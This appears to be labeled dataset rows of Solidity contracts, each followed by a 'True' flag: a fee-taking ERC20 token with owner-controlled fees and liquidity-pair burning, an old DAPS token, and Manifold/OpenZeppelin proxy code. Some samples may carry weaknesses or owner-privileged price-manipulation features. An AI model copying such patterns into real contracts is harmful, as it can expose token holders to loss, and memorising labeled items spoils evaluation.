function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 10, "Must keep fees at 10% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 10, "Must keep fees at 10% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | True | [
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|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'DAPSTOKEN' token contract
//
// Deployed to : 0x63c60Ef583ccE49909c1dd54ec7f812aC3A69847
// Symbol : DAPS
// Name : DAPS Token
// Total supply: 60000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Chai Shepherd with PLAAK Development / Plaak Pte Ltd
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from DAPSTOKEN
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DAPSTOKEN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function DAPSTOKEN() public {
symbol = "DAPS";
name = "DAPSTOKEN";
decimals = 18;
_totalSupply = 60000000000000000000000000000;
balances[0x63c60Ef583ccE49909c1dd54ec7f812aC3A69847] = _totalSupply;
Transfer(address(0), 0x63c60Ef583ccE49909c1dd54ec7f812aC3A69847, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: B. LOTUSS323
/// @author: manifold.xyz
import "./ERC1155Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// *******************************,,,,,,,,,*,****,,*,,,,,,,,,,,,,,,,,,,,,,,,,,,***, //
// *****************************,,,,,,,,,,,,,,,,,,,*,,,,,,,,,,,,,,,,,,,,,,,,,,,***, //
// ***************************, .,,,,,,,,,,..,,*,,,,,,,,,,,,,,,,,,,,,,,,,,,**,, //
// **************************, .,,.. .,,,,.... ,,,,,,,,,,,,,,,,,,,,,,,,,,,,**,* //
// **************************. .... .. .,,,,,,,,,,,,,,,,,,,,,,,,,,***,* //
// ************************* ,**,,,,,,,,,,,,,,,,,,,,,,,,***,* //
// *************************, .....,.. .**,*,,,,,,,,,,,,,,,,,,,,,***** //
// *************************, . ... ,,,,,,,,,,,,,,,,,,,,,,,***** //
// *************************, ... ,,,,,,,,,,,,,,,,,,,,,,***** //
// *************************. .. ,,,,,,,,,,,,,,,,,,,,,,***** //
// *************************, .**,. ,*,,,,,,,,,,,,,,,,,,,,,,***** //
// *************************, .**,,,*,**,,,,,,,,,,,,,,,,,,,,*****, //
// *******************************, . */****,*,,,,,,,,,,,,,,,,,,,,*****, //
// ********************************, ../(#(((((***,,,,,,,,,,,,,,,,,,,,*****, //
// *****************************//, .*((((((((((((((**,,,,,,,,,,,,,,,,,,*****, //
// **************************/((/*,,,/(((((((((((((((((((((/*,,,,,,,,,,,,,,,,*****. //
// ***********************/((((((//((((((((((((((((((((((((((/*,,,,,,,,,,,,,,*****. //
// **********************/((((((((((((((((((((((((((((((((((///*,,,,,,,,,,,,,****, //
// **********************/(/(((((//((((((((/((((((((((((((((///*,,,,,,,,,,,,*****, //
// **********************/..,*/.,, ,((((////(((((((///**,,,,,,,,,,,,****, //
// ********************,*,**,.... ,((((/. ,((/((/////((((((///**,,,,,,,,,,,**,,*, //
// *********************,,,... ..*((((((//*,*//*//(((((((///**..,,,,,,,,,**,,*. //
// Owned by //
// B. WARNER/22 //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////
contract Olympian is ERC1155Creator {
constructor() ERC1155Creator() {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4;
Address.functionDelegateCall(
0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4,
abi.encodeWithSignature("initialize()")
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
